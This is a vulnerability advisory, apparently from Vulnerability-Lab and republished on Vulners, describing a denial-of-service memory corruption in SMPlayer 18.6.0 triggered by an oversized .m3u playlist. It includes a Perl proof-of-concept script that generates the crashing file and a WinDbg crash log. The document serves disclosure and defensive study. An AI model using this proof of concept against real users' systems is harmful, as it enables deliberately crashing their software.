Lucene search
K

SMPlayer 18.6.0 Memory Corruption

🗓️ 24 Jul 2018 00:00:00Reported by ZwXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 60 Views

SMPlayer 18.6.0 Memory Corruption Vulnerability Disclosur

Code
`i>>?Document Title:  
===============  
SMPlayer 18.6.0 - Memory Corruption (DoS) Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2138  
  
  
Release Date:  
=============  
2018-07-23  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2138  
  
  
Common Vulnerability Scoring System:  
====================================  
4.4  
  
  
Vulnerability Class:  
====================  
Denial of Service  
  
  
Current Estimated Price:  
========================  
500a! - 1.000a!  
  
  
Product & Service Introduction:  
===============================  
SMPlayer is a free multimedia player for Windows and Linux with built-in codecs that can play virtually any video and audio format.   
It does not need any additional codecs. Install SMPlayer with ease and you'll be able to instantly play all audio and video formats   
without having to search for and install additional codecs.  
  
(Copy of the Vendor Homepage: http://www.smplayer.info/)  
  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a memory corruption vulnerability in the official SMPlayer v18.6.0 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2018-07-23: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
No User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A memory corruption vulnerability resulting in a denial of service has been discovered in the official SMPlayer v18.6.0 software.  
The vulnerability is caused by an invalid pointer corruption while processing a corrupted .m3u file through the SMPlayer reader.  
Which could be exploited by attackers to crash a complete software process via denial of service. The vulnerability is located in  
the Qt5Core.dll when processing an .m3u file on import.  
  
Vulnerable Modules:  
[+] Open   
[+] File  
[+] Reading  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by local attackers via import or by remote attackers via user interaction.   
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.  
  
  
PoC: Exploitation (Perl)  
#!/usr/bin/perl  
my $Buff = "A" x 122200;  
open(MYFILE,'>>Corruption.m3u');  
print MYFILE $Buff;  
close(MYFILE);  
print " POC Created by ZwX";  
  
  
--- PoC Debug Session Logs (Windbg) ---  
EXCEPTION_RECORD: (.exr -1)  
ExceptionAddress: 68b724d9 (Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+0x000005f9)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 020ffffe  
Attempt to write to address 020ffffe  
  
FAULTING_THREAD: 00000994  
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE  
PROCESS_NAME: smplayer.exe  
  
FOLLOWUP_IP:   
Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+5f9  
68b724d9 66895702 mov word ptr [edi+2],dx  
  
WRITE_ADDRESS: 020ffffe   
ERROR_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>  
EXCEPTION_CODE_STR: c0000005  
EXCEPTION_PARAMETER1: 00000001  
EXCEPTION_PARAMETER2: 020ffffe  
WATSON_BKT_PROCSTAMP: 5b2f993b  
WATSON_BKT_PROCVER: 18.6.0.0  
PROCESS_VER_PRODUCT: SMPlayer for Windows (32-bit)  
WATSON_BKT_MODULE: Qt5Core.dll  
WATSON_BKT_MODSTAMP: 5715839e  
WATSON_BKT_MODOFFSET: f24d9  
WATSON_BKT_MODVER: 5.6.0.0  
MODULE_VER_PRODUCT: Qt5  
BUILD_VERSION_STRING: 7601.24168.x86fre.win7sp1_ldr.180608-0600  
MODLIST_WITH_TSCHKSUM_HASH: ec621d6b16ea647fcad270b607987d6790c6372e  
MODLIST_SHA1_HASH: 22b51cf1164db3537920237889937f627826c434  
NTGLOBALFLAG: 70  
PROCESS_BAM_CURRENT_THROTTLED: 0  
PROCESS_BAM_PREVIOUS_THROTTLED: 0  
APPLICATION_VERIFIER_FLAGS: 0  
PRODUCT_TYPE: 1  
SUITE_MASK: 784  
DUMP_TYPE: fe  
ANALYSIS_SESSION_TIME: 07-20-2018 16:01:44.0461  
ANALYSIS_VERSION: 10.0.17134.12 x86fre  
  
THREAD_ATTRIBUTES:   
OS_LOCALE: FRA  
  
PROBLEM_CLASSES:   
ID: [0n309]  
Type: [@ACCESS_VIOLATION]  
Class: Addendum  
Scope: BUCKET_ID  
Name: Omit  
Data: Omit  
PID: [Unspecified]  
TID: [0x994]  
Frame: [0] : Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile  
  
ID: [0n282]  
Type: [INVALID_POINTER_WRITE]  
Class: Primary  
Scope: DEFAULT_BUCKET_ID (Failure Bucket ID prefix)  
BUCKET_ID  
Name: Add  
Data: Omit  
PID: [Unspecified]  
TID: [0x994]  
Frame: [0] : Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile  
  
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE  
PRIMARY_PROBLEM_CLASS: APPLICATION_FAULT  
LAST_CONTROL_TRANSFER: from 68b552b9 to 68b724d9  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
0022c968 68b552b9 00000023 0022ca38 0022ca08 Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+0x5f9  
0022c9c8 68b72b3c 00000003 00000000 037ef398 Qt5Core!ZN5QFile4openE6QFlagsIN9QIODevice12OpenModeFlagEE+0x59  
0022ca58 68b94738 0022cab8 0022cae0 00000000 Qt5Core!ZN14QTemporaryFile4openE6QFlagsIN9QIODevice12OpenModeFlagEE+0x2c  
0022cae8 68b94d99 00000000 00000000 00666c30 Qt5Core!ZN9QSettings5eventEP6QEvent+0x378  
0022cb18 00445290 0022cb7c 00000000 00000000 Qt5Core!ZN9QSettings5eventEP6QEvent+0x9d9  
0022cba8 004502ad 0022cbdc 00000002 027b14d8 smplayer+0x45290  
0022cc08 0046961a 027b4388 0022cd38 00000007 smplayer+0x502ad  
0022cc88 0046ad1c 0022cd38 0022cd3c 00000004 smplayer+0x6961a  
0022cd68 0046bfea 0022cdb8 00000000 0022cda8 smplayer+0x6ad1c  
0022cdd8 68c15612 027b1430 00000000 00000022 smplayer+0x6bfea  
0022ce78 004c08cc 027b8a48 00000007 00000000 Qt5Core!ZN11QMetaObject8activateEP7QObjectiiPPv+0x212  
0022cf18 004c98e1 00000000 00000000 00000000 smplayer+0xc08cc  
0022d058 004f97f0 0022d0ac 00000002 00686bc4 smplayer+0xc98e1  
0022d0d8 00501901 0022d1a4 021d56f0 0022d128 smplayer+0xf97f0  
0022d1d8 00523690 00000000 00000000 000002aa smplayer+0x101901  
0022d228 68c15612 021d56f0 00000000 0000000b smplayer+0x123690  
0022d2c8 00cb4238 02874d38 00000003 00000001 Qt5Core!ZN11QMetaObject8activateEP7QObjectiiPPv+0x212  
0022d2f8 00e2bfb0 00000000 68d2c200 00000000 Qt5Widgets!ZN7QAction8activateENS_11ActionEventE+0x98  
0022d398 00e2a9de 0022d3d0 00000000 00000420 Qt5Widgets!ZN5QMenu18setToolTipsVisibleEb+0x2a0  
0022d3a8 77156370 00000000 00000000 000000dc Qt5Widgets!ZN5QMenu7hoveredEP7QAction+0xd1e  
0022d498 00e360ba 0022d820 021574e8 0000000c ntdll!RtlpFreeHeap+0xb7a  
0022d4a8 6aa8f5f1 021181e0 0000000c 0022d518 Qt5Widgets!ZN5QMenu5eventEP6QEvent+0x11a  
0022d4b8 68a9e6af 0000001b 0371e2f8 00000010 qwindows+0xf5f1  
0022d518 61b76f8b 0022d820 00000000 00000048 Qt5Core!ZN7QThread21setTerminationEnabledEb+0x4af  
0022d538 00cbfcc1 028b7ae0 0022d820 0022d848 Qt5Gui!ZNK11QMouseEvent5flagsEv+0xb  
0022d5a4 771c5c6e 02148bc0 00000001 00000000 Qt5Widgets!ZN12QApplication6notifyEP7QObjectP6QEvent+0xb51  
0022d5d4 771c6c18 00360138 00000029 0000000f ntdll!RtlpValidateHeap+0x20  
0022d678 61b69e7a 0212a8a8 00000000 00000000 ntdll!RtlDebugFreeHeap+0x276  
0022d6a8 68bf5259 028b7ae0 0022d820 0022d77c Qt5Gui!ZNK7QWindow8geometryEv+0x1ba  
0022d6f8 00cbe96c 028b7ae0 0022d820 02957d40 Qt5Core!ZN16QCoreApplication15notifyInternal2EP7QObjectP6QEvent+0x109  
0022d898 00d1537a 0022dbb0 0022dbb0 00000000 Qt5Widgets!ZN19QApplicationPrivate14sendMouseEventEP7QWidgetP11QMouseEventS1_S1_PS1_R8QPointerIS0_Eb+0x1dc  
0022d8c8 68bf4cef 00000000 03766523 00000000 Qt5Widgets!ZN14QDesktopWidget11qt_metacallEN11QMetaObject4CallEiPPv+0x48ba  
0022fe38 005d7d52 00000001 02142fb8 009751a0 Qt5Core!ZN23QCoreApplicationPrivate29threadRequiresCoreApplicationEv+0xf  
0022fe98 00635f1d 00400000 00000000 00962598 smplayer+0x1d7d52  
0022feb8 004013e2 00363aa8 00000019 00000001 smplayer+0x235f1d  
0022ff88 7560efac 7ffd3000 0022ffd4 77163628 smplayer+0x13e2  
0022ff94 77163628 7ffd3000 77dd4275 00000000 kernel32!BaseThreadInitThunk+0x12  
0022ffd4 771635fb 004014c0 7ffd3000 00000000 ntdll!__RtlUserThreadStart+0x70  
0022ffec 00000000 004014c0 7ffd3000 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
STACK_COMMAND: ~0s ; .cxr ; kb  
THREAD_SHA1_HASH_MOD_FUNC: ad89141657ca48c6d034b3799d071b71260125cc  
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 83a292b67a1ed4f6616c9779d9411dcb769f07bc  
THREAD_SHA1_HASH_MOD: 87d5f5752469a4414a8f7facb8849b26ec792c75  
FAULT_INSTR_CODE: 2578966  
SYMBOL_STACK_INDEX: 0  
SYMBOL_NAME: Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+5f9  
FOLLOWUP_NAME: MachineOwner  
MODULE_NAME: Qt5Core  
IMAGE_NAME: Qt5Core.dll  
DEBUG_FLR_IMAGE_TIMESTAMP: 5715839e  
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_Qt5Core.dll!ZN14QTemporaryFile16createNativeFileER5QFile  
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+5f9  
FAILURE_EXCEPTION_CODE: c0000005  
FAILURE_IMAGE_NAME: Qt5Core.dll  
BUCKET_ID_IMAGE_STR: Qt5Core.dll  
FAILURE_MODULE_NAME: Qt5Core  
BUCKET_ID_MODULE_STR: Qt5Core  
  
--------------------------------------  
0:000> lmvm Qt5Core  
Browse full module list  
start end module name  
68a80000 68faf000 Qt5Core (export symbols) C:SMPlayerQt5Core.dll  
Loaded symbol image file: C:SMPlayerQt5Core.dll  
Image path: C:SMPlayerQt5Core.dll  
Image name: Qt5Core.dll  
Browse all global symbols functions data  
Timestamp: Mon Apr 18 18:02:22 2016 (5715839E)  
CheckSum: 0052E947  
ImageSize: 0052F000  
File version: 5.6.0.0  
Product version: 5.6.0.0  
File flags: 0 (Mask 3F)  
File OS: 4 Unknown Win32  
File type: 2.0 Dll  
File date: 00000000.00000000  
Translations: 0409.04b0  
Information from resource tables:  
CompanyName: The Qt Company Ltd  
ProductName: Qt5  
OriginalFilename: Qt5Core.dll  
ProductVersion: 5.6.0.0  
FileVersion: 5.6.0.0  
FileDescription: C++ application development framework.  
LegalCopyright: Copyright (C) 2015 The Qt Company Ltd.  
  
  
Security Risk:  
==============  
The security risk of the memory corruption that occurs by an invalid pointer write on import is estimated as medium.  
  
  
Credits & Authors:  
==================  
ZwX - https://www.vulnerability-lab.com/show.php?user=ZwX  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or   
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any   
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its   
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental  
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface   
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories   
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,   
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.   
  
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
  
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark   
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.  
  
Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation